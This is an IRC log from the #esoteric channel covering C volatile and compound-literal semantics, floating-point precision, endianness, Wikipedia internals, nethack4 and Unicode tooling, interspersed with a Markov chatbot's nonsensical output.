00:54:26 <fizzie> ais523: "What constitutes an access to a volatile-qualified object is implementation-specific," so there's an universal cop-out of everything.
00:54:38 <b_jonas> ais523: I'm not sure I believe it means that anymore
00:54:49 <b_jonas> ais523: I think that might have been what it originally meant, used for hardware stuff,
00:54:50 <ais523> fizzie: right, yes, but I think it's actually defined by gcc
00:55:45 <b_jonas> but I think these days volatile just means the effect has to be visible from a signal handler or backwards
00:56:13 <ais523> hmm, gcc's description is mostly talking about volatile objects not being memory barriers with respect to non-volatile objects
00:56:19 <b_jonas> so it might inhibit some optimizatios, it probably doesn't inhibit all
00:56:35 <b_jonas> ais523: yes, it sort of has to do barrier stuff for the signal handle semantics
00:57:05 <ais523> gcc is defining its concept of volatile accesses in terms of what it counts as an access in the C code
00:57:08 <ais523> not the effect on the underlying memory
00:57:57 <b_jonas> meh, it's complicated. I don't pretend to really understand all of this
00:58:30 <fizzie> At any rate, you can prove equal things about the compound literal as you could about a named "volatile int i", so arguably the behavior should be identical too.
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01:01:26 <ais523> fwiw, clang does store a 1 and a 2 into memory for that program
01:01:49 <b_jonas> ais523: obviously it's allowed to do that
01:02:22 <fizzie> b_jonas: Reasonably sure. Why would the named object be any different?
01:02:23 <ais523> but I mean, it doesn't optimize it out
01:03:06 <b_jonas> fizzie: dunno, I'm not really sure about how C99 compound literals work
01:03:17 <b_jonas> can you take their address?
01:03:58 <ais523> that's the main reason to use them
01:03:58 <fizzie> They work almost exactly as if you had a named object (with some arbitrary name) declared in the smallest enclosing scope.
01:04:17 <ais523> whereas they work differently in C++, because destructors and rvalue references screw everything up
01:04:19 <fizzie> There might be something related to where the initializer gets evaluated that you couldn't accomplish with a named object.
01:04:36 <ais523> gcc's documentation has an outright note warning people not to create anonymous arrays in C++
01:04:40 <ais523> because it nearly always doesn't do what you expect
01:07:14 <fizzie> It's perhaps a slight shame they didn't provide for a way to declare compound literals with static storage inside functions.
01:07:49 <fizzie> As it is, you can't do something like return (const int[]){ 1, 2, 3, 0 }; from a function returning const int *.
01:08:09 <b_jonas> can't you just declare a named variable for that?
01:08:33 <fizzie> Sure, but that's as applicable to compound literals in general.
01:08:40 <ais523> it should declare storage into the scope that called the function
01:09:05 <ais523> (if alloca can do that, why can't I?)
01:10:16 <b_jonas> fizzie: is this too evil? (const int *)"\1\0\0\0\2\0\0\0\3\0\0\0\0\0\0"
01:10:41 <ais523> b_jonas: that won't work on many systems
01:10:42 <Bike> main is usually a function
01:10:58 <ais523> although, I /love/ the way you use the implicit \0 at the end of the string as part of an integer
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01:12:15 <b_jonas> ais523: sure, if you want to make it more portable, add some ?: dispatching on endianness and sizeof, pushing all unhandled cases to abort
01:13:01 <b_jonas> the problem is not just endianness and size, right? it's alignment
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01:13:19 <b_jonas> there's no way you can force the string literal to be aligned to more than a char
01:13:26 <ais523> although in the particular case of (1, 2, 3)…
01:13:38 <ais523> b_jonas: sure there is
01:13:55 <ais523> you can fit four or more copies of the array into one string, at different alignments
01:14:18 <ais523> at runtime, you can check the value of the actual pointer, run alignof to figure out what alignment you need, then pick an appropriate copy
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01:14:29 <pikhq> Also the fact that C does not actually place any restrictions on the actual representation of an int.
01:14:30 <fizzie> ais523: You can't (reasonably) do arithmetic related to absolute addresses, however.
01:14:56 <ais523> fizzie: you can cast to intptr_t; if the type exists, then that cast is normally likely to be sane
01:15:07 <fizzie> ais523: "likely", but not required.
01:15:08 <ais523> pikhq: it does, it requires it to be a whole number of bits
01:15:14 <ais523> which is more than some esolangs manage
01:15:21 <pikhq> Okay, right, it does do that.
01:15:34 <fizzie> It also requires it to have at most one sign bit.
01:15:35 <pikhq> It has some limitations, but very minimal ones.
01:15:46 <fizzie> Actually, exactly one, if it's signed.
01:15:57 <pikhq> fizzie: Not really. It doesn't require signedness to be implemented that way. :)
01:16:10 <Bike> can you have data be represented in different ways at different times? for example, have the data in a register variable look different from that in memory, as long as it converts for you
01:16:13 <ais523> doesn't C99 require it to be two's-complement, one's-complement, or sign-magnitude?
01:16:17 <ais523> that's quite a strong requirement
01:16:23 <Bike> b_jonas: the channel does t his every week anyway
01:16:25 <pikhq> C99 requires arithmetic to behave as such.
01:16:27 <ais523> however, I don't think it requires all the bits to be used
01:16:33 <pikhq> It does not require the *representation* to map to that.
01:16:36 <b_jonas> it's #esoteric so it's no sin
01:16:41 <fizzie> pikhq: "For signed integer types, the bits of the object representation shall be divided into three groups: value bits, padding bits, and the sign bit."
01:16:54 <Bike> SPEAKING OF WHICH, LET US DISCUSS THE ACCURACY OF FLOATING POINT IRRATIONAL FUNCTIONS
01:17:05 <ais523> Bike: there's a great quote about that, let me find it
01:17:24 <b_jonas> fizzie: yes, yes, I know, that's why I'm saying you need conditionals to check the representation on abi-dependent ways, and abort in all cases you can't handle
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01:17:39 <ais523> The trigonometric functions (5200), (5210), and (5220) will return erroneous results when given very large arguments. At magnitudes around 8 million or so, the result is occasionally off by one bit. The errors get progressively worse, so that with magnitudes in the neighborhood of the quintillions and higher, the number is wholly inaccurate. However, at magnitudes around 8 million, there is already a difference of over 20pi between consecutive
01:17:41 <ais523> floating-point numbers, so it is hard to conceive of a purpose for which improved accuracy would be useful.
01:18:49 <pikhq> ais523: Where's that quote from?
01:18:52 <ais523> (technically that paragraph's GPL, so I'd better attribute it: https://gitorious.org/intercal/intercal/source/56c660c5eb21938faea7c3550713c1e0b395e5b9:pit/lib/floatlib.doc)
01:19:11 <ais523> took me a while to find an online link, linking to my hard drive wouldn't help so much
01:19:42 <Bike> what's IEEE require again
01:19:46 <pikhq> Hrm, wait, no, I don't think IEEE says much on the trig functions.
01:19:47 <ais523> it's in vaguely IEEE format, but doesn't have infinities or denormalized numbers
01:20:01 <ais523> apparently there was a /huge/ row about denormalized numbers back when they were invented
01:20:09 <pikhq> Bike: Error within 1 ULP on those.
01:20:45 <fizzie> ais523: Around 8 million, difference over 20pi between consecutive floats? These are some really sucky floats.
01:20:48 <pikhq> On some of the primitives (basic arithmetic, basically) it requires exact results, rounded.
01:20:48 <fizzie> [04:20:00] <fizzie> ,cc double d = 8000000, e = nextafter(d, INFINITY); printf("%.10f", e - d);
01:20:51 <fizzie> [04:20:01] <candide> fizzie: 0.0000000009
01:20:54 <fizzie> [04:20:03] <fizzie> ,cc float d = 8000000, e = nextafter(d, INFINITY); printf("%.10f", e - d);
01:20:57 <Bike> ais523: have you seen kahan's papers, they're hilariously ranty
01:20:57 <fizzie> [04:20:05] <candide> fizzie: 0.5000000000
01:20:57 <pikhq> fizzie: Single precision?
01:20:59 <b_jonas> ais523: there still is. it's not settled.
01:21:11 <fizzie> pikhq: That's still just 0.5 for IEEE 32-bit binary.
01:21:33 <ais523> the "million" may well be a typo, come to think of it
01:21:58 <fizzie> (Huh, that should've been nextafterf. I wonder how it worked.)
01:22:10 <ais523> !c float d = 8000000000.f, e = nextafterf(d, INFINITY); printf("%.10f", e-d);
01:22:14 <ais523> fizzie: is nextafter in tgmath?
01:22:21 <ais523> that's one way it theoretically could work
01:22:46 <fizzie> I think so, but I don't think it's in the standard includes.
01:23:02 <fizzie> Perhaps it is. It's C11 by default, at least.
01:23:30 <fizzie> Yeah, it includes both <math.h> and <tgmath.h>.
01:23:55 <ais523> also, fun fact about IEEE representation: not counting the boundary conditions, nextafter(f, INFINITY) = *(float *)&(int){ *(int *)&f + 1 }
01:24:13 <ais523> for any int and float with the same size as each other
01:24:39 <fizzie> And the same endianness.
01:25:09 <ais523> a platform with different endianness on int and float would be insane, but IIRC they exist
01:25:36 <b_jonas> yes, it seems the C++ standard has nextafter, so it would use the float version in C++ too
01:25:36 <fizzie> I can't give an example offhand, but I think there were some.
01:26:04 <fizzie> If it's completely softfloat, the choice is quite arbitrary, that might be one way to get there.
01:26:30 <fizzie> Well, maybe not entirely arbitrary, I'm sure it's easier if you don't need to byteswap after extracting the components.
01:26:32 <ais523> no wonder it ignored the !c
01:26:46 <ais523> b_jonas: wouldn't you need a std::?
01:27:18 <ais523> now my brain's saying "platform with different byte size between int and float"
01:27:22 <ais523> but I'm pretty sure C doesn't allow that
01:27:46 <b_jonas> ais523: normally yes, but maybe not if you #include <math.h>, and definitely not in some of the irc bots
01:28:06 <fizzie> ais523: You could "emulate" it by adding suitable padding bits, however.
01:28:20 <ais523> b_jonas: if you do a C-style #include in C++ (i.e. #include <math.h> not #include <cmath>), you get all the symbols in it imported
01:28:33 <ais523> presumably for C and old-C++ compatibility
01:30:25 <fizzie> Though I think even padding bits are not allowed to change if you access the object representation via char * (and don't do anything to the object between), so you couldn't just not store them for objects of type int.
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01:31:10 <pikhq> ais523: Old ARM ABI had different endianness for double and long long, if that counts. :)
01:31:33 <ais523> pikhq: was one of them middle-endian?
01:31:52 <ais523> I guess they'd have to be, or else float and int would also have to be different (I'm pretty sure ARM doesn't have 32-bit chars)
01:32:08 <ais523> b_jonas: middle-endian is when the byte order is something like 2143 rather than 1234 or 4321
01:32:14 <pikhq> Not quite. But it was damned friggin' weird.
01:32:28 <pikhq> The byte order IIRC was something like 43218765
01:32:54 <ais523> that's middle-endian too
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01:33:15 <b_jonas> ais523: yes, I thoguht that's called mixed endian
01:33:45 <fizzie> Wikipedia recognizes "mixed-endian" as synonym for "middle-endian".
01:34:35 <fizzie> If you have a bi-endian chip with a hardware floating point, does the endianness toggle generally affect floats too?
01:36:45 <b_jonas> fizzie: you'll have to ask the particular hardware.
01:36:57 <pikhq> I dunno about "in general", but I'm quite certain it does on PowerPC.
01:37:13 <pikhq> The endian toggle was done on the data bus there.
01:39:30 <pikhq> It didn't work well. :)
01:40:15 <pikhq> Ah, sorry, misremembered.
01:41:27 <pikhq> It did a xor on the address's three lower bits, which required the motherboard to *also* do a byte swap when talking to hardware.
01:42:05 <pikhq> That's... flipping weird.
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01:50:05 <coppro> http://en.wikipedia.org/wiki/List_of_lists_of_lists
01:52:06 <ais523> coppro: those pages keep getting created and deleted
01:52:44 <ais523> that one seems to have survived three AfDs
01:54:04 <ais523> On a totally random note, should not the article be a member of itself? It doesn't distinguish that it must be a list of lists of non-lists. --Shirik (Questions or Comments?) 00:21, 11 April 2012 (UTC)
01:55:28 <coppro> I'm very tempted to put a "See also" link on "Russel's Paradox" to the edit where that comment was added
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01:56:59 <ais523> ooh, srlink still exists
01:57:19 <ais523> for some reason I'm unexpectedly happy about discovering that the bits of Wikipedia's architecture I'm responsible for still exist
01:58:25 <coppro> I know that feeling :)
01:58:27 <b_jonas> ais523: can't you work that around by saying something like [[w:List of Lists of Lists|List of Lists of Lists]] or possibly some more complicated interwiki link?
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01:59:05 <ais523> b_jonas: it's not a technical restriction; I invented srlink to solve the technical problems
01:59:15 <ais523> it's a policy restriction
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01:59:25 <ais523> "stuff that happens on Wikipedia" is not normally what an article is about
01:59:45 <coppro> b_jonas: The goal is that if you link "Wikipedia" from an article about Wikipedia, it should go to Wikipedia, even on a mirror
01:59:57 <b_jonas> ais523: but isn't List of Lists of Lists already mostly about lists in wikipedia?
02:00:20 <ais523> b_jonas: it's a navigation page
02:00:29 <ais523> basically you have to imagine a Wikipedia fork
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02:00:38 <ais523> should the reference go to "this site", or "Wikipedia"
02:00:43 <ais523> if it's the latter, you use {{srlink}}
02:01:11 <b_jonas> ok, whatever, it's way too late I should go to bed
02:01:33 <ais523> huh, looks like my AfD system is still in place, too; quite surprising for something so major
02:01:40 <ais523> or at least, I didn't design what the system does, just implemented it
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02:03:26 <ais523> incidentally, https://en.wikipedia.org/wiki/Category:AfD_debates_%28Indiscernible_or_unclassifiable_topic%29 is often hilarious reading, although it's not so great right now
02:04:37 <ais523> hmm, I wonder what WT:RFA is like nowadays
02:04:53 <ais523> AFAICT that page has just had one discussion, which has probably lasted over a decade by now
02:19:19 * Sgeo_ is still sad that BJAODN is gone
02:19:35 <Sgeo_> http://en.wikipedia.org/wiki/Wikipedia:Best_of_BJAODN
02:22:55 <Sgeo_> Why is this still part of Wikipedia? http://en.wikipedia.org/wiki/File:Water_on_mars.jpg
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02:24:55 <ais523> "This is a collection of the best jokes and nonsense from Wikipedia:Bad Jokes and Other Deleted Nonsense. The criterion for a joke getting on this page is simple: at least one Wikipedian found it funny."
02:25:29 <coppro> Sgeo_: Because *any* community will eventually develop its own injokes and humour
02:25:41 <coppro> Wikipedia just shoves them off to the WP: namespace where they won't hurt anyone
02:26:12 <ais523> it's shocking how many things were moved to BJAODN with /nobody at all/ being amused by them
02:26:18 <ais523> just because people thought that's where they belonged
02:26:48 <Sgeo_> http://creatures.wiki/Emu
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02:28:39 <coppro> oh god, .wiki is a thing
02:28:50 <coppro> the Two Wiki rule will need updating
02:29:18 <ais523> every subject has exactly two wikis, one on a major site like Wikia, one independent
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02:30:48 <ais523> shachaf: the Two Wiki rule can be explained by people forking the Wikia wiki once it gets at all popular
02:31:08 <shachaf> google still finds nethack.wikia.com results and it's very irritating
02:31:19 <shachaf> i delete two characters to get to the good wiki. this is probably a common experience
02:31:19 <Sgeo_> People still update nethack.wikia.com
02:31:48 <Sgeo_> And yeah, Creatures wiki forked away recently
02:31:58 <boily__> quintopia: quinthellopia. will quinthelloïfy you again tomorrow. I need sleep. goodnight!
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02:49:09 <zzo38> I have a copy of the Water on Mars picture anyways, so even if it is deleted, I have a copy
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02:56:11 <zzo38> If endianness of CPU can be selected at runtime then it could probably be useful for making a bi-endian Z-machine implementation. Doing this probably is not particularly useful though; no existing story file is small-endian, no existing interpreter is small-endian, no existing compiler is small-endian, and this feature was removed since EZIP.
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02:57:16 <pikhq> ... bi-endian Z-machine?
02:58:30 <zzo38> Z-machine is normally only big-endian. However, ZIP (but not EZIP and newer) has a header bit to specify small-endian. This was never used, and as far as I know Aimfiz (my own implementation) is the only implementation that even checks this (although it will display an error message if it is found to be small-endian).
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03:24:39 <FreeFull> The existence of the Finnish language
03:38:14 <FreeFull> I'm getting pretty good at locating minibrots
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04:35:05 <Sgeo_> Is there an informal way to translate from van Laarhoven lenses to pure profunctor lenses, conceptually? I think I understand van Laarhoven optics a bit better
04:36:30 <shachaf> If only pure profunctor lenses had gotten named after me...
04:39:59 <coppro> it's kind of funny hearing about things named after twan
04:40:11 <coppro> since I know him from an entirely different context
04:40:47 <oerjan> shachaf: then they would've been kicking ass
04:41:18 <shachaf> am i missing the oerjanpun here
04:41:50 <oerjan> try reading it aloud, perhaps in an outrageous accent.
04:50:34 <coppro> does anyone know what a papentnesis is?
04:50:53 <coppro> I found the word in a chinglish instruction set and have not been able to decode it
04:51:11 <Bike> ...a parenthesis?
04:51:19 <Bike> could be an OCR error
04:51:55 <coppro> that makes no sense in context
04:52:25 <coppro> I'll have to double-check it again, maybe it does
04:54:05 <coppro> iirc it was in the same sentence as "is the romanized", so maybe it was trying to explain the use of roman/chinese characters with one in parentheses
05:11:03 <Sgeo_> If I can learn COBOL, or at least vaguely understand it, why shouldn't I do the same with MUMPS?
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05:24:24 <oerjan> coppro: was this in an advertisement for pectopahs?
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06:05:10 <Sgeo_> Is nethack4 reasonably playable on server?
06:05:21 <Sgeo_> And do I need to be scared of bugs?
06:07:05 <shachaf> The grid bug bites! You get zapped!
06:10:50 <Sgeo_> I have to (S)ave to stop viewing a game?
06:44:09 <scarf> Sgeo_: it's reasonably playable, there are still potentially some bad bugs but nothing's likely to ruin your game
06:44:16 <scarf> and yes, you press S to stop interacting with a game
06:45:32 <scarf> btw, we have a policy of rewinding a save file if you die due to a bug, but haven't had to use it for ages
06:45:36 <scarf> bug in the code, that is
06:48:45 <scarf> the watch interface could do with improvement
06:49:00 <scarf> the basic problem with how things work at the moment, is that the game saves continuously, so S actually quits
06:49:29 <scarf> and so it naturally ended up quitting the other followmodes (watch, replay) too, and there was no need to reimplement separate code for quitting those
06:49:55 <scarf> (I mean, S is implemented as breaking the connection to the game, because the game saves continuously and so there's no need for a separate saving step)
06:54:00 <Sgeo_> No bugs likely to ruin the server if I idle either, right?
06:54:39 <Sgeo_> Also, are all these games I see just save files idling, or is someone actively playing?
06:54:45 <scarf> no; the server process will close after 10 minutes or so, assuming you're playing 4.3, not sure what'll happen to the client process but it shouldn't ruin the client or game either way
06:54:45 <Sgeo_> Because I tried a few with no action going on
06:54:59 <scarf> and the server can't distinguish idling from playing; however, they're sorted by last-modified date
06:55:12 <scarf> also it can't distinguish them from game's nobody's playing
06:55:17 <scarf> it's likely there's no action right now
06:56:25 <scarf> there was someone active about 35 minutes before you joined, but nobody but you's active right now
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08:26:53 <Taneb> Can anyone recommend a text editor that's good to use over a slow ssh connection?
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08:27:52 <Taneb> I think "good to use over a slow ssh connection" implies "good to use"
08:29:00 <ion> shachaf: I can say yes from experience. I have easier time predicting the lagged state in it than other editors.
08:29:37 <shachaf> how do you feel about chu spaces today
08:29:55 <ion> Trains are nice, i guess.
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08:30:12 <shachaf> if you like trains #trains is the channel for you
08:31:03 <ion> How about if i like #trains?
08:31:24 <fizzie> I wonder if running something under screen can optimize updates for slow links. I have this feeling it anecdotally helped with a 19.2kbps physical terminal.
08:31:58 <ion> taneb: Also, use mosh.
08:32:01 <shachaf> fizzie: did you see my cyrillic above
08:32:10 <shachaf> it didn't actually make sense but i thought of you
08:34:15 <fizzie> Have to say I didn't notice that the р wasn't a p.
08:34:52 <shachaf> that's the sort of thing you usually notice
08:35:10 <Taneb> ion, the connection is stable and I doubt mosh improves ping time
08:35:41 <fizzie> Taneb: Intelligent local echo, man!
08:36:16 <shachaf> Intelligent Local Echo Man would be a good name for a superhero
08:37:15 <fizzie> shachaf: Yes, well, I just assumed it's all mixed up anyway, due to the s's and such. (Though apparently there's ѕ, the Cyrillic small letter dze, in Macedonian.)
08:37:25 <fizzie> ꙃ is a v. fancy letter.
08:37:46 <fizzie> It's the "dzelo" from Cyrillic Extended-B.
08:37:54 <shachaf> CYRILLIC FANCY LETTER DZELO
08:39:48 <shachaf> It's annoying that less escapes it.
08:40:00 <shachaf> Even less -R -f # is there an option to have less not escape it?
08:40:26 <shachaf> But -r doesn't escape anything, not even the \a
08:41:57 <shachaf> Oh well, I'll try it for a while.
08:44:58 <fizzie> shachaf: "LESSUTFBINFMT=*n%lc less ..." hth
08:45:26 <fizzie> Perhaps quote the * if you have a habit of having a lot of files ending in n%lc.
08:46:08 <fizzie> Also only if your C library's wint_t matches with Unicode, I guess.
08:46:32 <fizzie> And the multibyteness might confuse less' idea of line width, for all I know.
08:47:00 <shachaf> my file is made up of lines like "004D LATIN CAPITAL LETTER M [M]"
08:47:58 <shachaf> I should probably add more information, since Unicode provides so much more.
08:48:34 <fizzie> I just keep a copy of UnicodeData.txt, though the fields aren't exactly obvious to remember, and it's missing the preview.
08:48:58 <shachaf> My file is UnicodeData.txt processed by a 5-line script.
08:49:04 <shachaf> But I should extract more information.
08:49:18 <shachaf> The format is based on a much older Perl script I used to use.
08:49:52 <shachaf> How does this *n%lc thing work?
08:51:31 <fizzie> *n is just "use normal formatting", and the rest is a printf string that it "applies to Unicode code points that were successfully decoded but are unsuitable for display".
08:51:45 <shachaf> But why doesn't it do it for ^A?
08:51:56 <shachaf> I guess it's already suitable for display as ^A?
08:52:17 <fizzie> There's BINFMT for "regular" control/binary characters, I think that has precedence.
08:52:44 <fizzie> Also the defaults are different, <%02X> vs. <U+%04lX>.
08:53:28 <fizzie> Convincing less that CYRILLIC FANCY LETTER DZELO is not "unsuitable for display" would be a better solution.
08:53:28 <shachaf> NamesList.txt has a lot of useful information.
08:53:41 <shachaf> But if I put that in my file it would probably be way too big.
08:54:03 <shachaf> whoa, NamesList.txt is so great
08:55:31 <shachaf> Maybe I should just use that.
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08:55:59 <shachaf> your task is to invent the best file to use for unicode activities
08:56:43 <shachaf> improving on the ui of less is difficult
09:07:01 <fizzie> I've used gucharmap occasionally for "Unicode activities" (nice euphemism).
09:07:13 <fizzie> It has a nice "character details" tab.
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09:20:14 <shachaf> i kind of wish there was a standard glyph for every byte from 0 to 255
09:24:41 <Sgeo_> What Traversals cannot be turned into streams?
09:27:40 <Sgeo_> Actually, to Haskellers, I guess Stream implies being infinite. What traversables cannot be turned into lists?
09:28:32 <shachaf> I know you're aware of toListOf (and probably toList) because you talked about it earlier.
09:30:11 <Sgeo_> I'm trying to ascertain if in fact having (SomeClass p, Profunctor p) => p a b -> p (Stream a) (Stream b) is sufficient.
09:30:26 <Sgeo_> (Where Stream means Racket stream, not Haskell Stream)
09:31:58 <Sgeo_> I guess I also need to be able to go from that list to the same traversable...
09:32:30 <Sgeo_> Well, that list containing modifications + the original
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09:36:58 <Sgeo_> I guess that's the core of the problem with just using a list?
09:37:54 <Sgeo_> Seems so much easier to think about these things when I think in terms of 'primitive' things, like Profunctor p, Strength p => p a b -> p (a, o) (b, o) being the primitive lens.
09:38:40 <shachaf> I already mentioned class Travy p where trav :: Traversable f => p a b -> p (f a) (f b)
09:40:08 <Sgeo_> As far as I'm aware, Racket does not natively have Traversable, and I'm having a bit of difficulty visualizing how to bring them in
09:40:28 <Sgeo_> I think because I tend to think of Applicative as 'side-effect'
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10:22:15 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40372&oldid=40365 * GermanyBoy * (+175) /* Method reference */ environment
10:23:42 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40373&oldid=40372 * GermanyBoy * (+107) /* Command reference */ nested string
10:24:08 <HackEgo> [wiki] [[Fortob]] M http://esolangs.org/w/index.php?diff=40374&oldid=40373 * GermanyBoy * (+1) /* Command reference */
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10:41:00 <DootBot> quintopia: lotid, the could R! !befunge98 DOOT DOOT! found with Black! lol pressed about Dootbot aom's are?
10:42:35 <fizzie> fungot: Say something clever to offset that.
10:42:36 <fungot> fizzie: later tell arcfide or: there's an siqm too? i just found it through the piecewise function?
10:42:44 <fizzie> fungot: ...that was disappointing.
10:42:50 <fungot> fizzie: i invite you to write it would be stupid. :p how so? ( if f f). then our asses are out raped.
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11:00:02 <FireFly> fungot: watch your language
11:00:03 <fungot> FireFly: something like that. although i omitted to mention plt, i don't
11:00:12 <fizzie> I don't think unsolicited auto-HELLOes are very appropriate.
11:01:08 <fizzie> fungot: Don't you agree that bots should not speak unless spoken to?
11:01:08 <fungot> fizzie: i still don't really see the advantage of interpreting machine-generated s-expressions instead of machine-generated bytecode is :) i haven't needed for over half a semitone. like
11:05:39 <J_Arcane> The chanserv already generates a greeting to the #esoteric channel.
11:07:59 <fizzie> I feel a bit iffy about the chanserv greeting too, but I suppose it can be useful, and at least it doesn't clutter the channel, since it's directly to the joining user.
11:08:24 <fizzie> (Please don't take this as a recommendation to make the bot do HELLO in a private message.)
11:10:17 <fizzie> Plus a public HELLO also transforms a low-importance event (a join) into a normal-importance one (new messages), causing the channel to show up in status bar activity things and the like.
11:13:51 <HackEgo> 398) <fizzie> There's that saying that the definition of insanity is doing the same thing over and over again and expecting different results. [...] <Taneb> You've just gave me a different result [...] <fizzie> It's always insane to expect different results, even when it's likely to occur. \ 461) <Phantom_Hoover> I gave her the Noblesse Oblige room
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11:41:19 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40375&oldid=40374 * GermanyBoy * (+156) /* Method reference */
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11:59:00 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40376&oldid=40375 * GermanyBoy * (+308) /* Example code/Custom variable manipulation command */ new section
12:00:15 <impomatic_> BF Joust inspired game - http://codegolf.stackexchange.com/questions/36645/brainfedbotsforbattling-a-brainf-tournament
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12:02:23 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40377&oldid=40376 * GermanyBoy * (+57) /* See also */ new section
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12:26:28 <Taneb> `quote in my prose
12:26:29 <HackEgo> 1138) <shachaf> A Swede who was in #esoteric / Thought his rhymes were a little generic. / "I might use, in my prose, / ꙮs, / But my poetry's alphanumeric."
12:29:14 <Taneb> I love that Unicode specifies 4 invisible maths operators
12:29:32 <Taneb> Proposal for U+2061 to be in Haskell prelude as a synonym for $
12:30:42 <tswett> Clearly it should bind much more tightly.
12:30:57 <tswett> In fact, it should bind even more tightly than the juxtaposition operator.
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12:33:30 <fizzie> Why doesn't FUNCTION APPLICATION have the word INVISIBLE in it?
12:34:43 <tswett> Because if FUNCTION APPLICATION did have the word INVISIBLE in it, there would be an index such that the nine-character substring of FUNCTION APPLICATION at that index is INVISIBLE.
12:34:47 <tswett> However, there is no such index.
12:38:20 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40378&oldid=40377 * GermanyBoy * (+988) /* Examples/Infix expression parser */ new section
12:44:54 <HackEgo> [wiki] [[Fortob]] M http://esolangs.org/w/index.php?diff=40379&oldid=40378 * GermanyBoy * (-10) /* Infix expression parser */ made it shorter
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12:47:08 <fizzie> Though I was intending to do a nick-based thing. Never trust ChanServ, I guess.
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12:47:38 <Phantom_Hoover> it's clearly not doing it for everyone, i wonder what triggers it
12:48:00 <fizzie> I don't think there were any other /parts.
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12:48:42 <Taneb> What use is a BYE?
12:49:01 <tswett> The bot should send the message immediately *before* the person leaves.
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12:51:28 <b_jonas> actually, it should send the message "YOU'RE THE WEAKEST LINK. GOODBYE!" and kick the person immediately before the person leaves.
12:51:58 <tswett> Unfortunately, IRC lacks an MTG stack.
12:52:24 <TieSoul> I don't think I can do that
12:52:44 <b_jonas> tswett: I think it does have one, but only the server has access to instants
12:52:59 <tswett> MTG stack, n. A stack containing attempted actions, such that once an action is attempted, it goes onto the stack and others may attempt further actions while the action is still on the stack.
12:53:21 <tswett> An action is carried out when it leaves the stack.
12:53:56 <b_jonas> to be more precise, only the local server can cast commands as a reaction, not clients or remote servers
12:55:05 <tswett> I'm reminded of the E programming language.
12:55:50 <tswett> Execution consists of a series of "game turns". Each game turn consists of taking an action from the job queue and executing it, possibly thereby adding more actions to the job queue.
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12:57:54 <boily> tswett: isn't that suspiciously similar to a plain old push-down?
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12:58:29 <tswett> Execution within a job is LIFO, but the order among jobs is FIFO.
12:58:37 <b_jonas> should we call it MTG 6E stack just like how I call the (int volatile){1} from yesterday a C99 compound literal?
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13:00:25 <boily> tswett: the that that refered to the fact that a task may push additional tasks onto the execution stack.
13:00:43 <boily> fungot: what is a compound literal?
13:00:43 <fungot> boily: the cps make it non-c?
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13:00:57 <tswett> boily: but the job queue is a queue, not a stack.
13:01:22 <boily> oh hm. well. uhm. then... uuuuuh...
13:01:23 <tswett> Actually it's a partially ordered queue that happens to be implemented as a queue.
13:02:34 <boily> as a certain norwegian would say, “okay”.
13:02:48 <boily> quintopia: quinthellopia! I am (somewhat) awake today.
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13:06:44 <fungot> b_jonas: cf. f. n ( fnord
13:07:08 <Taneb> fungot, do you watch Countdown?
13:07:09 <fungot> Taneb: it doesn't say anything explicitly ( only for *very* large projects like gimp or gtk+ and they simply start to split up fnord :) you already call two internal lambdas, just make it
13:07:19 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
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13:22:05 <fungot> Selected style: fisher (Fisher corpus of transcribed telephone conversations)
13:22:06 <fizzie> fungot: So how about that weather we've been having?
13:22:06 <fungot> fizzie: good lord where does it end you know where all the action is a really big airport like really early laughter
13:22:23 <fizzie> fungot: Yeah, tell me about it.
13:22:24 <fungot> fizzie: i think that um noise i like to travel um
13:22:28 <fungot> tswett: drive the way they tested because they have um lipsmack
13:22:35 <fungot> tswett: ( ( noise yeah)) the one that's gone from home the oldest is three
13:22:51 <fizzie> I really should've filtered out the annotations.
13:23:21 <b_jonas> fungot: did you mean lipstack or lipstick?
13:23:21 <fungot> b_jonas: oh i see i used to play ball and or whatever ride bikes and and get their energy up and it's been quite some time ago i paid thirty dollars and i was
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13:23:28 <fizzie> fungot: What do they do with all their lipsmack?
13:23:28 <fungot> fizzie: well that's good yeah ' cause then my cats were like last week was it was kind of like before people um you know she just
13:23:31 <tswett> What are c64, ct, ic, iwcs, pa, and ss?
13:23:57 <fizzie> tswett: A Commodore 64 programming guide, Chrono Trigger script, INTERCAL manual, Irregular Webcomic strips, Penny Arcade strips and Shakespeare's writings.
13:24:33 <tswett> "agora" is from the rules, not the archives, right?
13:24:41 <fungot> Selected style: agora (a large selection of Agora rules, both current and historical)
13:24:48 <fungot> tswett: choice shall be its vizier. the announcing gambler's hand is identical to another, shall receive a salary equal to
13:24:55 <fungot> tswett: an asset from an entity is zero or more kudo transfers; " use") penalties or actions that would otherwise be required by the proposer of that
13:25:01 <fizzie> Someone just gave me a link, I think.
13:25:08 <tswett> fungot: I Agoran consent.
13:25:08 <fungot> tswett: sentencing, which shall then select, by notifying the assessor whenever e is attempting to
13:25:23 <fizzie> I don't think I managed to un-linebreak it properly, so it's kind of abrupt.
13:25:50 <fizzie> Or is it line-unbreak.
13:26:29 <fungot> Selected style: sms (National University of Singapore SMS corpus, 2011-08-20)
13:26:30 <fungot> fizzie: meet u al d xerox nw..nw lunch for me x
13:26:42 <fungot> tswett: was in science faculty, what u need ar your respective parts? should i go now. can i return me dollarscash lor...or can ask sis say can wat show...
13:27:10 <fizzie> fungot: Don't you be giving away all my dollarscash.
13:27:10 <fungot> fizzie: do u have any to give me a duty.?
13:27:19 <fizzie> fungot: Your duty is to serve #esoteric.
13:27:20 <fungot> fizzie: u didnt giv..atlast min wat can i do.
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14:07:21 <Jafet> I wonder how they got a corpus of SMS messages.
14:07:42 <Jafet> Through donations, apparently.
14:10:25 <fizzie> Yes, it's well-documented.
14:10:32 <fizzie> There's some quite personal stuff in there, IIRC.
14:14:36 <Jafet> Sounds like a representative corpus
14:14:44 <b_jonas> is dollarscash like a coins?
14:15:36 <Melvar> @tell shachaf < shachaf> i kind of wish there was a standard glyph for every byte from 0 to 255 – Perhaps the Control Pictures block starting at U+2400 helps?
14:16:03 <b_jonas> Melvar: I just use the pictures from cp437
